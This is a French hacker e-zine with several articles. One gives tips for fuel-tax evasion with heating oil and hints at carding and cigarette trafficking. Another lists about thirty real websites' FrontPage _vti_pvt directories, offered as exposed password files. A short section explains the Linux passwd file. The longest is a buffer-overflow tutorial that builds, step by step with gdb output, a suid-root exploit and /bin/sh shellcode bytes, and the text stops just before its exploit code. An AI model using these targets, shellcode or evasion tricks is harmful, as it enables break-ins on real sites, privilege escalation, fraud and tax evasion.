# ### #
## ### ##
#### ##### ###
##### ##### ####
###### ##### ######
###### ##### #######
#### ################### ####
#################################
##########################
##################
#########################
##############
##
##





¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤

WANGLING

¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤



Le Wangling qu' est ce que ç' est?

C' est tout les domaines ayant attrait au resquillages, et autres debrouilles evitant
de payer de l' argent ou autres. Cette nouvelles rubrique sera desormais presente dans chaque
zine d' Apocalypse.
Certains médiront dessus j' en suis sur, mais en attendant vous vous en servirez dans
tout votre quotidien et franchement vous en verrez vite l' utilitée et m' en remercirez!!!

En general, ces astuces ne sont pas diffusées pour en etre seul utilisateur et ainsi
seul profiteur, seulement je ne le visualise pas comme ça et le partagerais donc avec vous au
fil des zines.

let's gooooo....



1)gazoil moins cher!!!
**********************


Vous avez remarqués que le prix de votre gazoil est obscur?
Vous ne comprenez pas les raisons d' un tel prix?
Vous avez des revenus tres modiques voir nul et payer le carburant
vous vide votre compte et donc vous penalise!!!
Vous comprenez pourquoi? NON bien entendu, et personne ne le comprend,
vous voudriez le savoir? ou plutot, non, ne plus payer aussi cher?
vous n' avez qu' a suivre le guide!!!

Pour cette méthode il faut d' abord savoir que c' est illégal, mais
surtout qu' il faut avoir une voiture qui circule au gazoil et non pas
à l' essence, super, sans plomb ....
Pourquoi payer votre gazoil entre 5 et 6 fr quand on peut le payer
entre 2 et 3fr? Tout simplement parceque l' Etat en à décider ainsi ...
Mais depuis quand vous ecoutez l' Etat? Alors on y va!

Vous avez sans doute remarqués, mais les chauffages au fuel marchent
au fuel (normal vous me direz...), mais qu' est ce que le fuel?
Le fuel c' est tout simplement du gazoil.... et oui!!!

Donc pour payer moins cher il vous suffit donc d' acheter du fuel
plutot que de passer a la pompeuse à biftons pour faire son plein!
Mais malin qu' est l' Etat, le fuel comporte un colorant de couleur
rosé qui permet de verifié si l' on ne l' utilise pas, et donc ne paye
pas les taxes qui leur sont dut (pensez a leurs gosses, la psx2 sort
bientot, y a noel, anniversaire, la z8 a acheter, une hausse sur les
sandwitch au caviar a la tour d' argent....).
Mais bon les controles ne sont effectués que sur les camions...donc
euhhhhh vais pas vous le dire de le faire, vous etes grands mais bon
moi un plein me coute 100fr et vous?

Toute fois une utilisation accrue de fuel rendera votre pot un peut
rosé, dans tout les cas si un jour vous vous faites pincés (jamais eu
de controles pour ça!!! ni jamais entendu parler) et qu' on vous dit
que vous avez utilisés du fuel dans votre voitre et que suivant la loi
n° [...] ahhhh baillez un bon coup et sortez leur que vous en avez
utilisés c' est vrai, mais a but privé dans un lieu privé et que vous
en avez tout à fait le droit!

Immaginez desormais ce que vous pourrez faire avec 200fr de moins par
plein!!! Capotes a volontées, un gros 200 dans votre tete,... tout ça
grace a qui?




2) Cigarrettes moins cher!!!
****************************


Vous avez remarquez les rauseaux? ben en fait c' est des cigarettes,...
lol non je plaisantes.

Cette fois l information est meme legale, vous pourrez payer vos
cigarettes deux foit moin cher, ça vous tente?.... non? bon tant pis.
Quoi? finalement ça vous tente? Oki...

En fait les lois sont toujours imprecises et il a toujours donc des
failles qui permettent de les contournées. Une des failles sur la
taxation, est de petits pays qui ne sont pas taxés, he he he!

Allez donc sur www.yesmoke.com et commandez (non ce n est pas mon
site, ni celui d' un ami, je ne touche rien!); la vous pourrez
commandez vos cigarettes par cartes (et oui faut une carte pour ça....
ou....hum... j' entend carding derriere moi? perso je vois pas le
raport! :p). Dans tout les cas meme en restant dans la legalitée, vous
payerez vos cartouches entre 100 et 120fr livrée a domicile, bureaux...

Commandez maximum par 3 cartouches (sinon c' est suspect), et vous
receverez un boh colis, avec le tampon de la douanne en prime, et pour
beaucoup moin cher!

Ne vous inquietez pas j' ai tester ça marche, et d' ailleurs je
continues. Vous trouverez de suite ( en tant que personnes
intelligentes que vous etes... non?) des petit affaires à faires autour
de ça (traffic de cigarettes? kesako ?).




)-)< The Archivist ^>(-(
^^^^^^^^^^^^^^^^^^^^^^^^





#
# ### #
## ### ##
#### ##### ###
##### ##### ####
###### ##### ######
###### ##### #######
#### ################### ####
#################################
##########################
##################
#########################
##############
##
##






¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤

PASSWORDS FILES

¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤


[NdRedoxx : ces 31 passwords files m'ont été transmis par Massine qui m'a demandé de
les diffuser parce qu'il veut "faciliter le travail aux autres"... Faites-en bon usage !]



http://www.educational-communications.com.au/_vti_pvt/

http://www.mwsc.edu/~writing/_vti_pvt/

http://homepages.uc.edu/~smitc/_vti_pvt/

http://kilkhor.cc.iwate-u.ac.jp/cozmix/_vti_pvt/

http://lion.cecs.missouri.edu/_vti_pvt/

http://lion.cecs.missouri.edu/root/_vti_pvt/

http://lion.cecs.missouri.edu/root/root/_vti_pvt/

http://www.studybreaks.com/_vti_pvt/

http://www.iqsnet.it/seric/_vti_pvt/

http://www.islmusic.com/_vti_pvt/

http://www.islmusic.com/_vti_pvt/

http://www.universal.nl/users/hendriks/_vti_pvt/

http://nic.cpuc.ca.gov/employmentweb/_vti_pvt/

http://www.frostlineinc.com/_vti_pvt/

http://www.bellc.com/_vti_pvt/

http://www1.freeweb.ne.jp/~shnetwg/_vti_pvt/

http://homepages.acenet.co.za/pulse/_vti_pvt/

http://home.wanadoo.nl/theosplace/_vti_pvt/

http://www.streetlight.com/_vti_pvt/

http://www.studybreaks.com/_vti_pvt/

http://www.iqsnet.it/seric/_vti_pvt/

http://www.suthrlnd.demon.co.uk/_vti_pvt/

http://www.wfubmc.edu/_vti_pvt/ghindex.html

http://web2.netcarrier.net/_vti_pvt/

http://www.pc-genius.com/_vti_pvt/

http://www.islmusic.com/_vti_pvt/

http://www.cptours.com/_vti_pvt/

http://incolor.inetnebr.com/derekgb/_vti_pvt/

http://www.universal.nl/users/hendriks/_vti_pvt/

http://nic.cpuc.ca.gov/employmentweb/_vti_pvt/


http://www.frostlineinc.com/_vti_pvt/




-'- Massine -'-
^^^^^^^^^^^^^^^^





#
# ### #
## ### ##
#### ##### ###
##### ##### ####
###### ##### ######
###### ##### #######
#### ################### ####
#################################
##########################
##################
#########################
##############
##
##









¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤

EXPLICATION DES PASSWORDS LINUX

¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤



Un des fichiers les plus important sur un système Linux, et un des plus intéressant pour
la plupart d'entre nous :o), est le fichier password. J'ai donc décidé de vous offrir une
petite introduction à ce fichier.


D'abord, la structure :

Chaque ligne représente un utilisateur, un daemon ou un service du système... Chaque
ligne est séparée en parties par des " : " qui représentent chacun un segment d'information
sur les accès et droits de l'utilisateur.

Ex : root:x:0:0::/root:/bin/bash

- La première partie de la ligne représente le nom de l'utilsateur (root).

- La deuxième représente le mot de passe de l'utilisateur (il est encodé). Si un X ou
un * se trouve à cette place, c'est parce que les mots de passe se retrouvent dans un autre
fichier appelé "fichier shadow" ; cette mesure sert de double sécurité car si quelqu'un réussi
à se procurer le password file, il devra aussi avoir le shadow pour pouvoir décrypter les
passwords.

- Le troisième champ est l'UID (User ID) qui sert à identifier l'utilisateur par un
numéro pour le système d'exploitation.

- La quatrième position est le GID (Group ID), qui identifie le # du groupe auquel
appartient cet utilisateur.

- En cinquième position vient le champ de commentaire qui peut servir à mettre le vrai
nom d'un utilisateur ou d'autres infos.

- La position suivante est le répertoire "home" de l'utilisateur, le répertoire où il se
retrouve lorsqu'il se loggue sur le système.

- En dernier, nous retrouvons la première commande exécutée lorsque l'utilisateur se
loggue, il s'agit habituellement d'un interpréteur de commandes qui permettra à ce même
utilisateur d'entrer certaines commande pour interagir avec l'OS.


Exemple de fichier passwd complet : (ce fichier se trouve dans /etc/passwd)

operator:x:11:0:operator:/root:/bin/bash
root:x:0:0::/root:/bin/bash
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
sync:x:5:0:sync:/sbin:/bin/sync
bin:x:1:1:bin:/bin:
ftp:x:404:1::/home/ftp:/bin/bash
daemon:x:2:2:daemon:/sbin:
adm:x:3:4:adm:/var/adm:
lp:x:4:7:lp:/var/spool/lpd:
mail:x:8:12:mail:/var/spool/mail:
postmaster:x:14:12:postmaster:/var/spool/mail:/bin/bash
news:x:9:13:news:/usr/lib/news:
uucp:x:10:14:uucp:/var/spool/uucppublic:
man:x:13:15:man:/usr/man:
haxorz:x:405:100:guest:/dev/null:/dev/null
nobody:x:65534:100:nobody:/dev/null:
daft:x:1000:100:,,,:/home/daft:/bin/bash




Son utilité :

Le fichier permet entre autres de récupérer le mot de passe d'un système si ce dernier
ne les a pas mis en shadow. Il permet aussi d'enlever un utilisateur du système en effacant la
ligne qui lui correspond dans le fichier.

NOTE : Ne tentez jamais de modifier le champ du mot de passe en le changeant directement dans
le fichier password ; il ne sera pas valide.



Sécurités possibles :

Il y a différent systèmes qui enlèvent le champ du password pour le remplacer en X ou
en * pour des raisons de sécurité.

Il y a d'abord le système des SPF (shadowed password file) qui enlèvera tous les
passwords du fichier password pour les mettre dans le fichier shadow.

Ensuite, il y a le NIS (Network Information System) qui lui utilise une banque centralisée
d'information sur les utilisateurs et leurs mots de passe (plutôt rare).

Enfin, il y a les YP (Yellow Pages) qui n'utilisent pas le champ réservé au mot de passe
dans le fichier password et qui fonctionne à la manière du NIS.

Bien entendu, il y a des tas d'autres systèmes mais le SPF et les YP sont les systèmes
les plus courants.




~°)-¤ Redoxx & Oktober ¤-(°~
^^^^^^^^^^^^^^^^^^^^^^^^^^^^





#
# ### #
## ### ##
#### ##### ###
##### ##### ####
###### ##### ######
###### ##### #######
#### ################### ####
#################################
##########################
##################
#########################
##############
##
##







¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤

LE BUFFER OVERFFLOW

¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤



"L'exploitation du SUID par l'Homme"
Par Klog, Promisc Security, Inc.


Dans le but d'expliquer ce qui est, de toute façon,
devenu chose commune chez les script kids.



INTRODUCTION
~~~~~~~~~~~~

Avant de débuter, il serait nécessaire de comprendre en quoi consiste un
buffer overflow. Étant donner que je m'attends de vous a avoir certaines
connaissances en C ainsi qu'en assembleur, je ne m'attarderai pas sur ce
point. Lors de l'appel d'une procedure, le processeur sauvegarde d'abord le
contenu actuel de %eip dans la stack du programme. Or, la stack ne contient
pas _seulement_ que ces positions sauvegardes, mais aussi tout buffer alloue
dynamiquement, ce qui signifie toute variable déclarée a l'intérieur d'une
procédure, ou toute variable servant d'argument a une procédure. Voici un
bref exemple de ceci:


proc(char *buf2, char *buf1)
{
char buf3[10];
... <--- breakpoint
}

main()
{
char buf0[4];
...
proc("pro", "misc");
}


STACK: [... [buf3][%eip][buf2][buf1][buf0]...]


Suivant ce principe, nous serons vite intéressé a overwriter %eip sauvegarde
dans la stack afin de faire exécuter au processeur notre code arbitraire. La
question est _comment_ overwriter l'image d'%eip. Hors, nous savons qu'en C,
certaines fonctions peuvent écrire dans un buffer et, si l'on lui ordonne
d'écrire un string plus grosse que le buffer destination, elle le fera
au-delà des limites du buffer. On inclue parmi ces fonctions gets(),
sprintf(), strcpy(), strcat(), ainsi que des fonctions jugées "plus sécures"
telles que snprintf() ou bopcy(), si celles-ci sont mal utilisées. De plus,
toute fonction de libc (ou toute autre librairie) faisant appel a de telles
fonctions sont, elles aussi, contamines par la vulnérabilité, par exemple
certaines vieilles versions de syslog(). Il serait aussi utile de surveiller
toute assignation faite a des pointeurs, surtout lorsque celles-ci sont
itératives, ou pire, récursives.

Pour résumer, l'exploitation d'un buffer overflow consiste en une opération
d'une grande précision ou l'on tente d'overwriter l'image de %eip sauvegardée
dans la stack, en tentant d'obliger une function vulnérable a écrire au-delà
des limites d'un buffer loge dans le stack segment. Voici donc une
illustration de chacune des créations de buffer dans la stack de l'exemple
précedent, ainsi que la string qui servira a overwriter %eip si nous
considérons que nous la copierons en exploitant, par exemple, strcpy(buf3,
string):


BUF0: XXXX
BUF1: XXXX
BUF2: XXXX
EIP: [old_eip]
BUF3: XXXXXXXXXX

STRING: XXXXXXXXXX[new_eip]



L'EXPLOITATION
~~~~~~~~~~~~~~

Maintenant que nous avons pris connaissance de certains elements
essentiels, il serait bien de mettre sur pied un plan d'attaque. Ainsi, nous
savons qu'il est possible d'executer arbitrairement un quelconque code en
overwritant %eip. La question est maintenant de savoir ou sera positionner ce
code. En effet, il faut tenir compte du fait que nous sommes dans un
environnement protéger, ou la virtual memory est utilisée. Cela nous oblige
donc a include le code a exécuter a l'intérieur même des segments du processus
vulnérable (qui, étant suid, devient une propriété du root lors de son
exécution), sans quoi une faute de protection ou de segmentation se produira.
C'est d'ailleurs pour cette raison que nous placerons notre code a l'intérieur
même du buffer. Voici une nouvelle représentation de la string de l'overflow:


STRING: [NOPs][code arbitraire][new_eip]


Maintenant que nous savons en quoi consiste la string que nous allons
utiliser, il serait temps de trouver quelques adresses qui nous seront
nécessaires pour le bon fonctionnement de l'opération:

1) l'adresse du buffer a overflower;
2) la position de l'image de %eip.

C'est ici que vous devrez sortir le meilleur ami de l'homme: gdb.
Supposons d'abord que le programme suivant soit suid root et que nous
désirions l'exploiter...


iff% cat > suid.c
main(int argc, char *argv[])
{
char buffer[1024];
strcpy(buffer, argv[1]);
}
^C
iff% gcc -static suid.c -o suid
iff% gdb suid
[...]
(gdb) disassemble main
Dump of assembler code for function main:
0x10c0 <main>: pushl %ebp
0x10c1 <main+1>: movl %esp,%ebp
0x10c3 <main+3>: subl $0x400,%esp
0x10c9 <main+9>: call 0x1164 <__main>
0x10ce <main+14>: movl 0xc(%ebp),%eax
0x10d1 <main+17>: addl $0x4,%eax
0x10d4 <main+20>: movl (%eax),%edx
0x10d6 <main+22>: pushl %edx
0x10d7 <main+23>: leal 0xfffffc00(%ebp),%eax
0x10dd <main+29>: pushl %eax
0x10de <main+30>: call 0x1238 <strcpy>
0x10e3 <main+35>: addl $0x8,%esp
0x10e6 <main+38>: leave
0x10e7 <main+39>: ret
End of assembler dump.


Nous observons ici que l'adresse de "buffer", étant placée dans la stack en
dernier lieu (puisque "buffer" est le premier argument de strcpy()), sera
nécessairement contenue dans le registre %eax, tel que le démontre "pushl
%eax"
a l'adresse 0x10dd. Ainsi, nous pourrons récupérer l'adresse de "buffer"
en récupérant le contenu de %eax juste avant l'appel de strcpy().


(gdb) break *0x10de
Breakpoint 1 at 0x10de
(gdb) run
Starting program: /usr/home/mbuf/dev/suid

Breakpoint 1, 0x10de in main ()
(gdb) info registers
eax 0xefbfd91c -272639716
ecx 0xefbfdd40 -272638656
edx 0x0 0
ebx 0xefbfdd3c -272638660
esp 0xefbfd914 0xefbfd914
ebp 0xefbfdd1c 0xefbfdd1c
esi 0xefbfdd97 -272638569
edi 0x0 0
eip 0x10de 0x10de
eflags 0x286 646
cs 0x1f 31
ss 0x27 39
ds 0x27 39
es 0x27 39
(gdb)


Bingo. On s'aperçoit ici que l'adresse de "buffer" est 0xefbfd91c.
Maintenant, il nous faut trouver l'adresse du contenu de %eip sauvegarde avant
l'appel de main(). Pour faire une telle chose, la technique la plus sûre est
sans doute le brute-forcing. Nous tenterons donc d'essayer d'overwriter %eip
avec exactitude et d'obtenir la distance exacte entre le début du buffer a
overflower et la position de %eip.


iff% gdb suid
[...]
(gdb) run `perl -e "printf('A'x1032)";echo BBBB`
Starting program: /usr/home/mbuf/tmp/huhu [...]

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) bt
#0 0x41414141 in ?? ()
(gdb) run `perl -e "printf('A'x1028)";echo BBBB`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /usr/home/mbuf/tmp/huhu [...]

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) bt
#0 0x42424242 in ?? ()
#1 0x0 in ?? ()
(gdb)


Bingo. Nous savons maintenant qu'en utilisant un offset de 1028 par rapport
a la position initiale du buffer (0xefbfd91c), "BBBB" ('B'==0x42) overwrite
parfaitement %eip. On pouvait s'y attendre, puisque "buffer" n'est séparé de
l'image de %eip que par l'image de %ebp (registre de 32 bits, 4 bytes), et que
"buffer" a une taille de 1024 bytes.



LE SHELLCODE
~~~~~~~~~~~~

Maintenant, il est temps de passer aux choses sérieuses. Nous devons écrire le
shellcode, soit le code que nous exécuterons arbitrairement. Pour ce faire,
nous allons d'abord écrire le code en C pour ensuite le désassembler...


iff% cat > code.c
main()
{
char *cmd[] = {"/bin/sh",0};
execve("/bin/sh", cmd, 0);
}
^C
iff% gcc -static code.c -o code
iff% ./code
$ exit
iff% gdb code
[...]
(gdb) disassemble main
Dump of assembler code for function main:
0x10c8 <main>: pushl %ebp
0x10c9 <main+1>: movl %esp,%ebp
0x10cb <main+3>: subl $0x8,%esp
0x10ce <main+6>: call 0x1174 <__main>
0x10d3 <main+11>: leal 0xfffffff8(%ebp),%eax
0x10d6 <main+14>: movl $0x10c0,0xfffffff8(%ebp)
0x10dd <main+21>: movl $0x0,0xfffffffc(%ebp)
0x10e4 <main+28>: pushl $0x0
0x10e6 <main+30>: leal 0xfffffff8(%ebp),%eax
0x10e9 <main+33>: pushl %eax
0x10ea <main+34>: pushl $0x10c0
0x10ef <main+39>: call 0x1218 <execve>
0x10f4 <main+44>: addl $0xc,%esp
0x10f7 <main+47>: leave
0x10f8 <main+48>: ret
End of assembler dump.
(gdb) disassemble execve
Dump of assembler code for function execve:
0x1218 <execve>: leal 0x3b,%eax
0x121e <execve+6>: lcall 0x7,0x0
0x1225 <execve+13>: jb 0x1210 <atexit+112>
0x1227 <execve+15>: ret
(gdb)


On voit ici une grande partie du code que nous désirons inclure dans notre
shellcode. Comme vous auriez pu le deviner, de nombreuses modifications
devront être portées avant que celui-ci ne soit utilisable. Voici en fait les
quelques instructions nécessaires au bon fonctionnement du shellcode:


movl [shell],0xfffffff8(%ebp) 7 bytes
movl $0x0,0xfffffffc(%ebp) 7 bytes
pushl $0x0 2 bytes
leal 0xfffffff8(%ebp),%eax 3 bytes
pushl %eax 1 byte
pushl [shell] 5 bytes
leal 0x3b,%eax 6 bytes
lcall 0x7,0x0 7 bytes
"/bin/sh"


Maintenant que nous avons trouve les instructions a placer dans le shellcode,
il nous reste a trouver les adresses de "/bin/sh" (shell). Or, si l'on décide
d'écrire d'abord notre shellcode pour le faire suivre par "/bin/sh", il est
trivial de calculer la position exacte de "/bin/sh" dans le buffer, étant
donner que nous connaissons déjà la position du buffer en mémoire. Cependant,
nous ne désirons pas référer a "/bin/sh" de façon statique dans notre shellcode.
Pourquoi? tout simplement parce que si on désire placer le shellcode dans un
autre buffer que celui a overflower, nous devrons aussi _reécrire_ le
shellcode en entier. C'est pourquoi, lorsque l'on désire faire appel a la
string "/bin/sh", nous utiliserons une technique simple mais efficace de
wrapping:


jmp [call addr]
popl %ebx
movl %ebx,0xfffffff8(%ebp)
movl $0x0,0xfffffffc(%ebp) 7 bytes
pushl $0x0 2 bytes
leal 0xfffffff8(%ebp),%eax 3 bytes
pushl %eax 1 byte
pushl %ebx
leal 0x3b,%eax 6 bytes
lcall 0x7,0x0 7 bytes
call [popl addr]
"/bin/sh"


Et voilà. Sachant que les instructions jmp et call peuvent prendre comme
operands des adresses relatives et que lorsqu'un call est effectuer,
l'adresse de l'instruction suivante est placée dans la stack (l'image de
%eip), nous pourrons retrouver l'adresse de "/bin/sh" en la retirant de la
stack et en la plaçant dans un registre non utilisé (%ebx).

Pour trouver les adresses relatives (offset) de popl et call, nous devrons
d'abord trouver la taille de chacune des nouvelles instructions que nous avons
insérés:


iff% cat > wrapper.c
main()
{
__asm__("
jmp 37
popl %ebx
movl %ebx,0xfffffff8(%ebp)
pushl %ebx
call -36
"
);
}
^C
iff% gdb wrapper
[...]
(gdb) disassemble main
Dump of assembler code for function main:
0x10c0 <main>: pushl %ebp
0x10c1 <main+1>: movl %esp,%ebp
0x10c3 <main+3>: call 0x1154 <__main>
0x10c8 <main+8>: jmp 0x10ef <__do_global_dtors+15>
0x10ca <main+10>: popl %ebx
0x10cb <main+11>: movl %ebx,0xfffffff8(%ebp)
0x10ce <main+14>: pushl %ebx
0x10cf <main+15>: call 0x10b0 <dlsym+24>
0x10d4 <main+20>: leave
0x10d5 <main+21>: ret
(gdb)


Parfait, voici donc avec exactitude le nouveau code que nous désirons avoir
dans notre shellcode:


jmp 31 2 bytes
popl %ebx 1 byte
movl %ebx,0xfffffff8(%ebp) 3 bytes
movl $0x0,0xfffffffc(%ebp) 7 bytes
pushl $0x0 2 bytes
leal 0xfffffff8(%ebp),%eax 3 bytes
pushl %eax 1 byte
pushl %ebx 1 byte
leal 0x3b,%eax 6 bytes
lcall 0x7,0x0 7 bytes
call -36 5 bytes
"/bin/sh"


Voilà! Il est maintenant temps de réécrire notre wrapper, puis de trouver les
opcodes associées a chacune des instructions que nous désirons utiliser. Pour
des raisons que je ne connais trop, "lcall" n'a pas des operands valides tel
que démontré dans l'exemple ci haut. C'est pourquoi nous trouverons les
opcodes de toutes les instructions en écrivant ces dernières dans un inline
__asm__, alors que nous trouverons lcall en désassemblant execve():


iff% cat > asmcode.c
main()
{
__asm__("
jmp 31
popl %ebx
movl %ebx,0xfffffff8(%ebp)
movl $0x0,0xfffffffc(%ebp)
pushl $0x0
leal 0xfffffff8(%ebp),%eax
pushl %eax
pushl %ebx
leal 0x3b,%eax
call -31
"
);
execve("", 0, 0);
}
iff% gcc -static asmcode.c -o asmcode
iff% gdb asmcode
[...]
(gdb) disassemble main
Dump of assembler code for function main:
0x10c4 <main>: pushl %ebp
0x10c5 <main+1>: movl %esp,%ebp
0x10c7 <main+3>: call 0x1174 <__main>
0x10cc <main+8>: jmp 0x10ed <main+41> # = <main+34>+7
0x10ce <main+10>: popl %ebx
0x10cf <main+11>: movl %ebx,0xfffffff8(%ebp)
0x10d2 <main+14>: movl $0x0,0xfffffffc(%ebp)
0x10d9 <main+21>: pushl $0x0
0x10db <main+23>: leal 0xfffffff8(%ebp),%eax
0x10de <main+26>: pushl %eax
0x10df <main+27>: pushl %ebx
0x10e0 <main+28>: leal 0x3b,%eax
0x10e6 <main+34>: call 0x10c7 <main+3> # = <main+10>-7
0x10eb <main+39>: pushl $0x0
0x10ed <main+41>: pushl $0x0
0x10ef <main+43>: pushl $0x10c0
0x10f4 <main+48>: call 0x1218 <execve>
0x10f9 <main+53>: addl $0xc,%esp
0x10fc <main+56>: leave
0x10fd <main+57>: ret
(gdb) x/31xb 0x10cc
0x10cc <main+8>: 0xeb 0x1f 0x5b 0x89 0x5d
0xf8 0xc7 0x45
0x10d4 <main+16>: 0xfc 0x00 0x00 0x00 0x00
0x6a 0x00 0x8d
0x10dc <main+24>: 0x45 0xf8 0x50 0x53 0x8d
0x05 0x3b 0x00
0x10e4 <main+32>: 0x00 0x00 0xe8 0xdc 0xff
0xff 0xff
(gdb) disassemble execve
Dump of assembler code for function execve:
0x1218 <execve>: leal 0x3b,%eax
0x121e <execve+6>: lcall 0x7,0x0
0x1225 <execve+13>: jb 0x1210 <atexit+112>
0x1227 <execve+15>: ret
(gdb) x/13xb 0x1218
0x1218 <execve>: 0x8d 0x05 0x3b 0x00 0x00
0x00 0x9a 0x00
0x1220 <execve+8>: 0x00 0x00 0x00 0x07 0x00
(gdb)


Et voilà. Voici a quoi va ressembler notre shellcode complet:


0xeb 0x1f 0x5b 0x89 0x5d
0xf8 0xc7 0x45
0xfc 0x00 0x00 0x00 0x00 <--- main
0x6a 0x00 0x8d
0x45 0xf8 0x50 0x53 0x8d
0x05 0x3b 0x00
0x00 0x00

0x8d 0x05 0x3b 0x00 0x00
0x00 0x9a 0x00 <--- execve
0x00 0x00 0x00 0x07 0x00

0xe8 0xdc 0xff <--- call [popl]
0xff 0xff

"/bin/sh" <--- shell


Hum. On aperçoit un autre problème ici. Le shellcode semble parfait _mais_ il
ne pourra jamais être copier en entier via une fonction comme strcpy().
Pourquoi? tout simplement a cause des 0x00, qui seront considérés comme une
fin de string. C'est pourquoi deux solutions s'offrent a nous. La première
serait d'utiliser un registre clear a la place d'utiliser $0x00 dans chaque
cas nécessaire. La seconde serait d'insérer le shellcode ailleurs que dans le
buffer cible, ce qui serait la aussi une solution très viable (la placer en
argv[X] ou autre).



L'EXPLOIT
~~~~~~~~~

Pour l'exemple d'exploit fournit ici, je ferai abstraction de ce problème pour
laisser au codeur le choix de sa technique. Cela évitera, de plus, que cet
article soit utilise aveuglement pour fournir aux script kids une facon simple
d'écrire leurs propres exploits. Voici donc a quoi ressemblerait un exploit
pour un buffer overflow cree par une fonction telle bcopy() (ce qui est très
